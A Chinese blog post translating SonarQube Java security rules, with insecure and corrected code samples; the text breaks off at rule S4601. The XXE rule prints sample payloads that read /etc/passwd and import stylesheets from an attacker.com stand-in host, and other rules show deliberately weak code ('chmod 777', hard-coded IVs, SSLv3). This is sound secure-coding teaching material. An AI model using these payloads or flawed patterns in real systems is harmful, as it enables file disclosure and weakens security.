美文网首页
Java规范之Sonar规则的汉化【漏洞类】

Java规范之Sonar规则的汉化【漏洞类】

作者: onmeiei | 来源:发表于2020-08-23 16:40 被阅读0次

    规则S1148 : 不可以调用"Throwable.printStackTrace(...)",使用日志

    错误的代码示例

    try {
      /* ... */
    } catch(Exception e) {
      e.printStackTrace();        // 错误示范
    }
    

    正确的代码示例

    try {
      /* ... */
    } catch(Exception e) {
      LOGGER.log("context", e);
    }
    

    See

    OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
    MITRE, CWE-489 - Leftover Debug Code

    规则S1444 : "public static"需要为固定值

    错误的代码示例

    public class Greeter {
      public static Foo foo = new Foo();
      ...
    }
    

    正确的代码示例

    public class Greeter {
      public static final Foo FOO = new Foo();
      ...
    }
    

    See

    MITRE, CWE-500 - Public Static Field Not Marked Final
    CERT OBJ10-J - Do not use public static nonfinal fields

    规则S1989 : servlet的所有方法不可以抛出"Exception"

    错误的代码示例

    public void doGet(HttpServletRequest request, HttpServletResponse response)
      throws IOException, ServletException {
      String ip = request.getRemoteAddr();
      InetAddress addr = InetAddress.getByName(ip); // 错误示范; getByName(String) throws UnknownHostException
      //...
    }
    

    正确的代码示例

    public void doGet(HttpServletRequest request, HttpServletResponse response)
      throws IOException, ServletException {
      try {
        String ip = request.getRemoteAddr();
        InetAddress addr = InetAddress.getByName(ip);
        //...
      }
      catch (UnknownHostException uhex) {
        //...
      }
    }
    

    See

    OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
    MITRE, CWE-600 - Uncaught Exception in Servlet
    CERT, ERR01-J. - Do not allow exceptions to expose sensitive information

    规则S2039 : 类的所有属性可见性需要声明

    错误的代码示例

    class Ball {
        String color="red";  // 错误示范
    }
    enum A {
      B;
      int a;
    }
    

    正确的代码示例

    class Ball {
        private String color="red";  // 正确的代码示范
    }
    enum A {
      B;
      private int a;
    }
    

    特殊情况

    添加了Guava @VisibleForTesting 注解的资源可以不适用本规范

    class Cone {
      @VisibleForTesting
      Logger logger; // 正确的代码示范
    }
    

    规则S2070 : SHA-1和MD5算法不可用于安全操作

    SHA1和MD5已经被标识为非安全的算法。

    错误的代码示例

    MessageDigest md = MessageDigest.getInstance("SHA1");  // 错误示范
    

    正确的代码示例

    MessageDigest md = MessageDigest.getInstance("SHA-256");
    

    See

    OWASP Top 10 2017 Category A6 - Security
    Misconfiguration

    MITRE, CWE-328 - Reversible One-Way Hash
    MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
    SANS Top 25 - Porous Defenses
    SHAttere - The first concrete collision attack against SHA-1.

    规则S2089 : 不可以信赖"HTTP"请求头中的"referer"值

    该值可能是攻击篡改的内容。

    错误的代码示例

    public class MyServlet extends HttpServlet {
      protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        String referer = request.getHeader("referer");  // 错误示范
        if(isTrustedReferer(referer)){
          //..
        }
        //...
      }
    }
    

    See
    OWASP Top 10 2017 Category A2 - Broken Authentication
    MITRE, CWE-807 - Reliance on Untrusted Inputs in a Security Decision
    MITRE, CWE-293 - Using Referer Field for Authentication
    SANS Top 25 - Porous Defenses

    规则S2115 : 所有的数据库访问必须使用密码

    不可以使用免密的数据库连接。

    错误的代码示例

    Connection conn = DriverManager.getConnection("jdbc:derby:memory:myDB;create=true", "AppLogin", "");
    Connection conn2 = DriverManager.getConnection("jdbc:derby:memory:myDB;create=true?user=user&password=");
    

    正确的代码示例

    DriverManager.getConnection("jdbc:derby:memory:myDB;create=true?user=user&password=password");
    
    DriverManager.getConnection("jdbc:mysql://address=(host=myhost1)(port=1111)(key1=value1)(user=sandy)(password=secret),address=(host=myhost2)(port=2222)(key2=value2)(user=sandy)(password=secret)/db");
    
    DriverManager.getConnection("jdbc:mysql://sandy:secret@[myhost1:1111,myhost2:2222]/db");
    
    String url = "jdbc:postgresql://localhost/test";
    Properties props = new Properties();
    props.setProperty("user", "fred");
    props.setProperty("password", "secret");
    DriverManager.getConnection(url, props);
    

    See
    OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
    MITRE, CWE-521 - Weak Password Requirements

    规则S2254 : 不可使用"HttpServletRequest.getRequestedSessionId()"

    错误的代码示例

    if(isActiveSession(request.getRequestedSessionId()) ){
      ...
    }
    

    See
    OWASP Top 10 2017 Category A2 - Broken Authentication MITRE, CWE-807 - Reliance on Untrusted Inputs in a Security Decision
    SANS Top 25 - Porous Defenses

    规则S2384 : 可变化的属性,不能直接返回或赋值

    错误的代码示例

    class A {
      private String [] strings;
    
      public A () {
        strings = new String[]{"first", "second"};
      }
    
      public String [] getStrings() {
        return strings; // 错误示范
      }
    
      public void setStrings(String [] strings) {
        this.strings = strings;  // 错误示范
      }
    }
    
    public class B {
    
      private A a = new A();  // At this point a.strings = {"first", "second"};
    
      public void wreakHavoc() {
        a.getStrings()[0] = "yellow";  // a.strings = {"yellow", "second"};
      }
    }
    

    正确的代码示例

    class A {
      private String [] strings;
    
      public A () {
        strings = new String[]{"first", "second"};
      }
    
      public String [] getStrings() {
        return strings.clone();
      }
    
      public void setStrings(String [] strings) {
        this.strings = strings.clone();
      }
    }
    
    public class B {
    
      private A a = new A();  // At this point a.strings = {"first", "second"};
    
      public void wreakHavoc() {
        a.getStrings()[0] = "yellow";  // a.strings = {"first", "second"};
      }
    }
    
    

    See

    ITRE, CWE-374 - Passing Mutable Objects to an Untrusted Method
    MITRE, CWE-375 - Returning a Mutable Object to an Untrusted Caller
    CERT, OBJ05-J. - Do not return references to private mutable class members
    CERT, OBJ06-J. - Defensively copy mutable inputs and mutable internal
    components

    CERT, OBJ13-J. - Ensure that references to mutable objects are not exposed

    规则S2386 : 需要保证"public static"属性不可修改

    错误的代码示例

    public interface MyInterface {
      public static String [] strings; // 错误示范
    }
    
    public class A {
      public static String [] strings1 = {"first","second"};  // 错误示范
      public static String [] strings2 = {"first","second"};  // 错误示范
      public static List<String> strings3 = new ArrayList<>();  // 错误示范
      // ...
    }
    

    See

    MITRE, CWE-582 - Array Declared Public, Final, and Static
    MITRE, CWE-607 - Public Static Final Field References Mutable Object
    CERT, OBJ01-J. - Limit accessibility of fields
    CERT, OBJ13-J. - Ensure that references to mutable objects are not exposed

    规则S2612 : 正确设置文件的访问权限

    • 错误的代码示范
        public void setPermissions(String filePath) {
            Set<PosixFilePermission> perms = new HashSet<PosixFilePermission>();
            // user permission
            perms.add(PosixFilePermission.OWNER_READ);
            perms.add(PosixFilePermission.OWNER_WRITE);
            perms.add(PosixFilePermission.OWNER_EXECUTE);
            // group permissions
            perms.add(PosixFilePermission.GROUP_READ);
            perms.add(PosixFilePermission.GROUP_EXECUTE);
            // others permissions
            perms.add(PosixFilePermission.OTHERS_READ); // Sensitive
            perms.add(PosixFilePermission.OTHERS_WRITE); // Sensitive
            perms.add(PosixFilePermission.OTHERS_EXECUTE); // Sensitive
    
            Files.setPosixFilePermissions(Paths.get(filePath), perms);
        }
    
        public void setPermissionsUsingRuntimeExec(String filePath) {
            Runtime.getRuntime().exec("chmod 777 file.json"); // Sensitive
        }
    
        public void setOthersPermissionsHardCoded(String filePath ) {
            Files.setPosixFilePermissions(Paths.get(filePath), PosixFilePermissions.fromString("rwxrwxrwx")); // Sensitive
        }
    

    正确的代码示例

        public void setPermissionsSafe(String filePath) throws IOException {
            Set<PosixFilePermission> perms = new HashSet<PosixFilePermission>();
            // user permission
            perms.add(PosixFilePermission.OWNER_READ);
            perms.add(PosixFilePermission.OWNER_WRITE);
            perms.add(PosixFilePermission.OWNER_EXECUTE);
            // group permissions
            perms.add(PosixFilePermission.GROUP_READ);
            perms.add(PosixFilePermission.GROUP_EXECUTE);
            // others permissions removed
            perms.remove(PosixFilePermission.OTHERS_READ); // 正确的代码示范
            perms.remove(PosixFilePermission.OTHERS_WRITE); // 正确的代码示范
            perms.remove(PosixFilePermission.OTHERS_EXECUTE); // 正确的代码示范
    
            Files.setPosixFilePermissions(Paths.get(filePath), perms);
        }
    

    See

    OWASP Top 10 2017 Category A5 - Broken Access Control
    OWASP File Permission
    MITRE, CWE-732 - Incorrect Permission Assignment for Critical Resource
    CERT, FIO01-J. -
    Create files with appropriate access permissions

    CERT, FIO06-C. - Create
    files with appropriate access permissions

    SANS Top 25 - Porous Defenses

    规则S2647 : 禁止使用"Basic"认证方式

    错误的代码示例

    // Using HttpPost from Apache HttpClient
    String encoding = Base64Encoder.encode ("login:passwd");
    org.apache.http.client.methods.HttpPost httppost = new HttpPost(url);
    httppost.setHeader("Authorization", "Basic " + encoding);  // 错误示范
    
    or
    
    // Using HttpURLConnection
    String encoding = Base64.getEncoder().encodeToString(("login:passwd").getBytes("UTF-8"));
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("POST");
    conn.setDoOutput(true);
    conn.setRequestProperty("Authorization", "Basic " + encoding); // 错误示范
    

    See
    OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
    OWASP Basic Authentication
    MITRE, CWE-522 - Insufficiently Protected Credentials
    SANS Top 25 - Porous Defenses

    规则S2653 : Servlet容器部署"Web"应用不得包含main方法

    错误的代码示例

    public class MyServlet extends HttpServlet {
      public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
        if (userIsAuthorized(req)) {
          updatePrices(req);
        }
      }
    
      public static void main(String[] args) { // 错误示范
        updatePrices(req);
      }
    }
    

    See

    OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
    MITRE, CWE-489 - Leftover Debug Code
    CERT, ENV06-J. - Production code must not contain debugging entry points

    规则S2658 : 不可以动态加载类

    错误的代码示例

    String className = System.getProperty("messageClassName");
    Class clazz = Class.forName(className);  // 错误示范
    

    See

    OWASP Top 10 2017 Category A1 - Injection
    MITRE, CWE-470 - Use of Externally-Controlled Input to Select Classes or Code
    ('Unsafe Reflection')

    规则S2755 : "XML"解析必须防护XXE攻击

    <?xml version="1.0" encoding="utf-8"?>
      <!DOCTYPE test [
        <!ENTITY xxe SYSTEM "file:///etc/passwd">
      ]>
    <note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.attacking.com/deleteall">
      <to>&amp;xxe;</to>
      <from>Jani</from>
      <heading>Reminder</heading>
      <body>Don't forget me this weekend!</body>
    </note>
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
      <!ENTITY content SYSTEM "file:/etc/passwd">
    ]>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
      <xsl:import href="http://www.attacker.com/evil.xsl"/>
      <xsl:include href="http://www.attacker.com/evil.xsl"/>
     <xsl:template match="/">
      &amp;content;
     </xsl:template>
    </xsl:stylesheet>
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE schema PUBLIC "-//W3C//DTD XMLSchema 200102//EN" "" [
       <!ENTITY xxe SYSTEM "file:///etc/passwd">
      ]>
    <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
      <xs:import namespace="test" schemaLocation="http://www.attacker.com/evil.xsd"/>
      <xs:element name="note">
        <xs:complexType>
          <xs:sequence>
            <xs:element name="to" type="xs:string"/>
            <xs:element name="from" type="xs:string"/>
            <xs:element name="heading" type="xs:string"/>
            <xs:element name="body" type="xs:string"/>
          </xs:sequence>
        </xs:complexType>
      </xs:element>
    </xs:schema>
    

    错误的代码示例

    DocumentBuilderFactory library:

    String xml = "xxe.xml";
    DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();  // 错误示范
    DocumentBuilder builder = df.newDocumentBuilder();
    Document document = builder.parse(new InputSource(xml));
    DOMSource domSource = new DOMSource(document);
    

    SAXParserFactory library:

    String xml = "xxe.xml";
    SaxHandler handler = new SaxHandler();
    SAXParserFactory factory = SAXParserFactory.newInstance();
    SAXParser parser = factory.newSAXParser();  // 错误示范
    parser.parse(xml, handler);
    

    XMLInputFactory library:

    XMLInputFactory factory = XMLInputFactory.newInstance();  // 错误示范
    XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
    

    TransformerFactory library:

    String xslt = "xxe.xsl";
    String xml = "xxe.xml";
    TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // 错误示范
    Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));
    
    StringWriter writer = new StringWriter();
    transformer.transform(new StreamSource(xml), new StreamResult(writer));
    String result = writer.toString();
    

    SchemaFactory library:

    String xsd = "xxe.xsd";
    StreamSource xsdStreamSource = new StreamSource(xsd);
    
    SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // 错误示范
    Schema schema = schemaFactory.newSchema(xsdStreamSource);
    

    Validator library:

    String xsd = "xxe.xsd";
    String xml = "xxe.xml";
    StreamSource xsdStreamSource = new StreamSource(xsd);
    StreamSource xmlStreamSource = new StreamSource(xml);
    
    SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
    Schema schema = schemaFactory.newSchema(xsdStreamSource);
    Validator validator = schema.newValidator();   // 错误示范
    
    StringWriter writer = new StringWriter();
    validator.validate(xmlStreamSource, new StreamResult(writer));
    

    Dom4j library:

    SAXReader xmlReader = new SAXReader(); // 错误示范 by default
    Document xmlResponse = xmlReader.read(xml);
    

    Jdom2 library:

    SAXBuilder builder = new SAXBuilder(); // 错误示范 by default
    Document document = builder.build(new File(xml));
    

    正确的代码示例

    DocumentBuilderFactory library:

    String xml = "xxe.xml";
    DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
    df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // 正确的代码示范
    df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // 正确的代码示范
    DocumentBuilder builder = df.newDocumentBuilder();
    Document document = builder.parse(new InputSource(xml));
    DOMSource domSource = new DOMSource(document);
    

    SAXParserFactory library:

    String xml = "xxe.xml";
    SaxHandler handler = new SaxHandler();
    SAXParserFactory factory = SAXParserFactory.newInstance();
    SAXParser parser = factory.newSAXParser();
    parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // 正确的代码示范
    parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // 正确的代码示范
    parser.parse(xml, handler);
    

    XMLInputFactory library:

    XMLInputFactory factory = XMLInputFactory.newInstance();
    factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // 正确的代码示范
    factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // 正确的代码示范
    
    XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
    

    TransformerFactory library:

    String xslt = "xxe.xsl";
    String xml = "xxe.xml";
    TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
    transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // 正确的代码示范
    transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // 正确的代码示范
    // ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
    Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));
    
    StringWriter writer = new StringWriter();
    transformer.transform(new StreamSource(xml), new StreamResult(writer));
    String result = writer.toString();
    

    SchemaFactory library:

    String xsd = "xxe.xsd";
    StreamSource xsdStreamSource = new StreamSource(xsd);
    
    SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
    schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // 正确的代码示范
    schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // 正确的代码示范
    Schema schema = schemaFactory.newSchema(xsdStreamSource);
    

    Validator library:

    String xsd = "xxe.xsd";
    String xml = "xxe.xml";
    StreamSource xsdStreamSource = new StreamSource(xsd);
    StreamSource xmlStreamSource = new StreamSource(xml);
    
    SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
    Schema schema = schemaFactory.newSchema(xsdStreamSource);
    schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
    schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
    // validators will also inherit of these properties
    Validator validator = schema.newValidator();
    
    validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // 正确的代码示范
    validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // 正确的代码示范
    
    StringWriter writer = new StringWriter();
    validator.validate(xmlStreamSource, new StreamResult(writer));
    

    dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix
    is to disable doctype declarations:

    SAXReader xmlReader = new SAXReader();
    xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 正确的代码示范
    Document xmlResponse = xmlReader.read(xml);
    

    Jdom2 library:

    SAXBuilder builder = new SAXBuilder(); // 正确的代码示范
    builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // 正确的代码示范
    builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // 正确的代码示范
    Document document = builder.build(new File(xml));
    

    See

    OWASP Top 10 2017 Category A4</a> - XML External Entities
    (XXE)

    OWASP XXE Prevention Cheat Sheet
    MITRE, CWE-611 - Information Exposure Through XML External Entity Reference
    MITRE, CWE-827 - Improper Control of Document Type Definition

    规则S2976 : 不可以使用"File.createTempFile" 创建目录

    错误的代码示例

    File tempDir;
    tempDir = File.createTempFile("", ".");
    tempDir.delete();
    tempDir.mkdir();  // 错误示范
    

    正确的代码示例

    Path tempPath = Files.createTempDirectory("");
    File tempDir = tempPath.toFile();
    

    See

    OWASP Top 10 2017 Category A9</a> - Using Components with Known Vulnerabilities

    规则S3066 : "enum"的属性不可以修改

    错误的代码示例

    public enum Continent {
    
      NORTH_AMERICA (23, 24709000),
      // ...
      EUROPE (50, 39310000);
    
      public int countryCount;  // 错误示范
      private int landMass;
    
      Continent(int countryCount, int landMass) {
        // ...
      }
    
      public void setLandMass(int landMass) {  // 错误示范
        this.landMass = landMass;
      }
    

    正确的代码示例

    public enum Continent {
    
      NORTH_AMERICA (23, 24709000),
      // ...
      EUROPE (50, 39310000);
    
      private int countryCount;
      private int landMass;
    
      Continent(int countryCount, int landMass) {
        // ...
      }
    

    规则S3329 : Cypher Block Chaining IV's 初始化必须随机且唯一

    错误的代码示例

    public class MyCbcClass {
    
      public String applyCBC(String strKey, String plainText) {
        byte[] bytesIV = "7cVgr5cbdCZVw5WY".getBytes("UTF-8");
    
        /* KEY + IV setting */
        IvParameterSpec iv = new IvParameterSpec(bytesIV);
        SecretKeySpec skeySpec = new SecretKeySpec(strKey.getBytes("UTF-8"), "AES");
    
        /* Ciphering */
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
        cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);  // 错误示范 because IV hard coded and cannot vary with each ciphering round
        byte[] encryptedBytes = cipher.doFinal(plainText.getBytes("UTF-8"));
        return DatatypeConverter.printBase64Binary(bytesIV) // IV is typically published
                + ";" + DatatypeConverter.printBase64Binary(encryptedBytes);
      }
    }
    

    正确的代码示例

    public class MyCbcClass {
    
      SecureRandom random = new SecureRandom();
    
      public String applyCBC(String strKey, String plainText) {
        byte[] bytesIV = new byte[16];
        random.nextBytes(bytesIV);
    
        /* KEY + IV setting */
        IvParameterSpec iv = new IvParameterSpec(bytesIV);
        SecretKeySpec skeySpec = new SecretKeySpec(strKey.getBytes("UTF-8"), "AES");
    
        /* Ciphering */
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
        cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);
        byte[] encryptedBytes = cipher.doFinal(plainText.getBytes("UTF-8"));
        return DatatypeConverter.printBase64Binary(bytesIV)
                + ";" + DatatypeConverter.printBase64Binary(encryptedBytes);
      }
    }
    

    See

    MITRE, CWE-330 - Use of Insufficiently Random Values

    OWASP Top 10 2017 Category A6 - Security Misconfiguration
    Derived from FindSecBugs rule
    STATIC_IV

    规则S3355 : web.xml中定义的过滤器必须使用

    错误的代码示例

      <filter>
         <filter-name>DefinedNotUsed</filter-name>
         <filter-class>com.myco.servlet.ValidationFilter</filter-class>
      </filter>
    

    正确的代码示例

      <filter>
         <filter-name>ValidationFilter</filter-name>
         <filter-class>com.myco.servlet.ValidationFilter</filter-class>
      </filter>
    
      <filter-mapping>
         <filter-name>ValidationFilter</filter-name>
         <url-pattern>/*</url-pattern>
      </filter-mapping>
    

    See

    OWASP Top 10 2017 Category A6</a> - Security Misconfiguration

    规则S3749 : Spring组件的成员变量需要注入

    错误的代码示例

    @Controller
    public class HelloWorld {
    
      private String name = null;
    
      @RequestMapping("/greet", method = GET)
      public String greet(String greetee) {
    
        if (greetee != null) {
          this.name = greetee;
        }
    
        return "Hello " + this.name;  // if greetee is null, you see the previous user's data
      }
    }
    

    See

    OWASP Top 10 2017 Category A3 - Sensitive Data Exposure

    规则S3751 : "@RequestMapping"必须为"public"

    错误的代码示例

    @RequestMapping("/greet", method = GET)
    private String greet(String greetee) {  // 错误示范
    

    正确的代码示例

    @RequestMapping("/greet", method = GET)
    public String greet(String greetee) {
    

    See

    OWASP Top 10 2017 Category A6 - Security Misconfiguration

    规则S3752 : "@RequestMapping"必须指定 HTTP方法

    错误的代码示例

    @RequestMapping("/greet")  // 错误示范
    public String greet(String greetee) {
    }
    
    @RequestMapping(path = "/delete", method = {RequestMethod.GET, RequestMethod.POST}) // 错误示范
    String delete(@RequestParam("id") String id) {
      return "Hello from delete";
    }
    

    正确的代码示例

      @RequestMapping("/greet", method = GET)
      public String greet(String greetee) {
      }
    
      @RequestMapping(path = "/delete", method = RequestMethod.GET)
      String delete(@RequestParam("id") String id) {
       return "Hello from delete";
      }
    

    See
    OWASP Top 10 2017 Category A6 - Security Misconfiguration
    MITRE, CWE-352 - Cross-Site Request Forgery (CSRF)
    OWASP: Cross-Site Request Forgery
    SANS Top 25 - Insecure Interaction Between Components
    Spring Security Official Documentation: Use proper HTTP verbs (CSRF protection)

    规则S4347 : "SecureRandom"的种子必须具有不可预测性

    错误的代码示例

    SecureRandom sr = new SecureRandom();
    sr.setSeed(123456L); // 错误示范
    int v = sr.next(32);
    
    sr = new SecureRandom("abcdefghijklmnop".getBytes("us-ascii")); // 错误示范
    v = sr.next(32);
    

    正确的代码示例

    SecureRandom sr = new SecureRandom();
    int v = sr.next(32);
    

    See

    OWASP Top 10 2017 Category A6 - Security Misconfiguration
    MITRE, CWE-330 - Use of Insufficiently Random Values
    MITRE, CWE-332 - Insufficient Entropy in PRNG
    MITRE, CWE-336 - Same Seed in Pseudo-Random Number Generator (PRNG)
    MITRE, CWE-337 - Predictable Seed in Pseudo-Random Number Generator (PRNG)
    CERT, MSC63J. - Ensure that SecureRandom is properly seeded

    规则S4423 : 不可以使用弱"SSL/TLS"协议

    错误的代码示例

    context = SSLContext.getInstance("SSLv3"); // 错误示范
    

    正确的代码示例

    context = SSLContext.getInstance("TLSv1.2");
    

    See

    OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
    OWASP Top 10 2017 Category A6 - Security Misconfiguration
    MITRE, CWE-327 - Inadequate Encryption Strength
    MITRE, CWE-326 - Use of a Broken or Risky Cryptographic Algorithm
    SANS Top 25 - Porous Defenses
    Diagnosing TLS, SSL, and HTTPS
    SSL and TLS Deployment Best Practices - Use secure protocols

    规则S4426 : 非对称加密/验密算法的Key必须足够强壮

    错误的代码示例

    KeyPairGenerator keyPairGen1 = KeyPairGenerator.getInstance("RSA");
    keyPairGen1.initialize(1024); // 错误示范
    
    KeyPairGenerator keyPairGen5 = KeyPairGenerator.getInstance("EC");
    ECGenParameterSpec ecSpec1 = new ECGenParameterSpec("secp112r1"); // 错误示范
    keyPairGen5.initialize(ecSpec1);
    
    KeyGenerator keyGen1 = KeyGenerator.getInstance("AES");
    keyGen1.init(64); // 错误示范
    

    正确的代码示例

    KeyPairGenerator keyPairGen6 = KeyPairGenerator.getInstance("RSA");
    keyPairGen6.initialize(2048); // 正确的代码示范
    
    KeyPairGenerator keyPairGen5 = KeyPairGenerator.getInstance("EC");
    ECGenParameterSpec ecSpec10 = new ECGenParameterSpec("secp224k1"); // 正确的代码示范
    keyPairGen5.initialize(ecSpec10);
    
    KeyGenerator keyGen2 = KeyGenerator.getInstance("AES");
    keyGen2.init(128); // 正确的代码示范
    

    See

    OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
    OWASP Top 10 2017 Category A9 - Security Misconfiguration
    NIST 800-131A</a> - Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths
    MITRE, CWE-326 - Inadequate Encryption Strength

    规则S4433 : 所有的"LDAP"连接需要进行身份认证

    错误的代码示例

    // Set up the environment for creating the initial context
    Hashtable<String, Object> env = new Hashtable<String, Object>();
    env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
    env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=JNDITutorial");
    
    // Use anonymous authentication
    env.put(Context.SECURITY_AUTHENTICATION, "none"); // 错误示范
    
    // Create the initial context
    DirContext ctx = new InitialDirContext(env);
    

    正确的代码示例

    // Set up the environment for creating the initial context
    Hashtable<String, Object> env = new Hashtable<String, Object>();
    env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
    env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=JNDITutorial");
    
    // Use simple authentication
    env.put(Context.SECURITY_AUTHENTICATION, "simple");
    env.put(Context.SECURITY_PRINCIPAL, "cn=S. User, ou=NewHires, o=JNDITutorial");
    env.put(Context.SECURITY_CREDENTIALS, getLDAPPassword());
    
    // Create the initial context
    DirContext ctx = new InitialDirContext(env);
    

    See

    OWASP Top 10 2017 Category A2 - Broken Authentication CWE-521 - Weak Password Requirements
    Modes of Authenticating to LDAP
    Derived from FindSecBugs rule - LDAP_ANONYMOUS

    规则S4434 : 禁止使用"LDAP"反序列化

    错误的代码示例

    DirContext ctx = new InitialDirContext();
    // ...
    ctx.search(query, filter,
            new SearchControls(scope, countLimit, timeLimit, attributes,
                true, // 错误示范; allows deserialization
                deref));
    

    正确的代码示例

    DirContext ctx = new InitialDirContext();
    // ...
    ctx.search(query, filter,
            new SearchControls(scope, countLimit, timeLimit, attributes,
                false,
                deref));
    

    See

    MITRE, CWE-502 - Deserialization of Untrusted Data
    OWASP Top 10 2017 Category A8 - Insecure Deserialization
    BlackHat presentation
    Derived from FindSecBugs rule - LDAP_ENTRY_POISONING

    规则S4435 : 需要安全的"XML"转换器

    错误的代码示例

    Transformer transformer = TransformerFactory.newInstance().newTransformer();
    transformer.transform(input, result);
    

    正确的代码示例

    Recommended:

    TransformerFactory factory = TransformerFactory.newInstance();
    factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
    factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
    
    Transformer transformer = factory.newTransformer();
    
    transformer.transform(input, result);
    

    Implementation dependent:

    TransformerFactory factory = TransformerFactory.newInstance();
    factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
    
    Transformer transformer = factory.newTransformer();
    
    transformer.transform(input, result);
    

    See

    OWASP Top 10 2017 Category A4 XML External Entities
    OWASP XXE Cheat Sheet
    MITRE, CWE-611 - Improper Restriction of XML External Entity Reference ('XXE')
    Derived from FindSecBugs ruleXXE_DTD_TRANSFORM_FACTORY
    Derived from FindSecBugs rule XXE_XSLT_TRANSFORM_FACTORY

    Deprecated

    This rule is deprecated; use {rule:java:S2755} instead.

    规则S4499 : "SMTP SSL"连接需要检查服务器身份

    错误的代码示例

    Email email = new SimpleEmail();
    email.setSmtpPort(465);
    email.setAuthenticator(new DefaultAuthenticator(username, password));
    email.setSSLOnConnect(true); // 错误示范; setSSLCheckServerIdentity(true) should also be called before sending the email
    email.send();
    
    Properties props = new Properties();
    props.put("mail.smtp.host", "smtp.gmail.com");
    props.put("mail.smtp.socketFactory.port", "465");
    props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); // 错误示范; Session is created without having "mail.smtp.ssl.checkserveridentity" set to true
    props.put("mail.smtp.auth", "true");
    props.put("mail.smtp.port", "465");
    Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() {
      protected PasswordAuthentication getPasswordAuthentication() {
        return new PasswordAuthentication("username@gmail.com", "password");
      }
    });
    

    正确的代码示例

    Email email = new SimpleEmail();
    email.setSmtpPort(465);
    email.setAuthenticator(new DefaultAuthenticator(username, password));
    email.setSSLOnConnect(true);
    email.setSSLCheckServerIdentity(true); // 正确的代码示范
    email.send();
    
    Properties props = new Properties();
    props.put("mail.smtp.host", "smtp.gmail.com");
    props.put("mail.smtp.socketFactory.port", "465");
    props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
    props.put("mail.smtp.auth", "true");
    props.put("mail.smtp.port", "465");
    props.put("mail.smtp.ssl.checkserveridentity", true); // 正确的代码示范
    Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() {
      protected PasswordAuthentication getPasswordAuthentication() {
        return new PasswordAuthentication("username@gmail.com", "password");
      }
    });
    

    See

    OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
    CWE-297 - Improper Validation of Certificate with Host Mismatch

    Deprecated

    This rule is deprecated; use {rule:java:S5527} instead.

    规则S4601 : "HttpSecurity" URL匹配需要正确排序

    错误的代码示例

      protected void configure(HttpSecurity http) throws Exception {
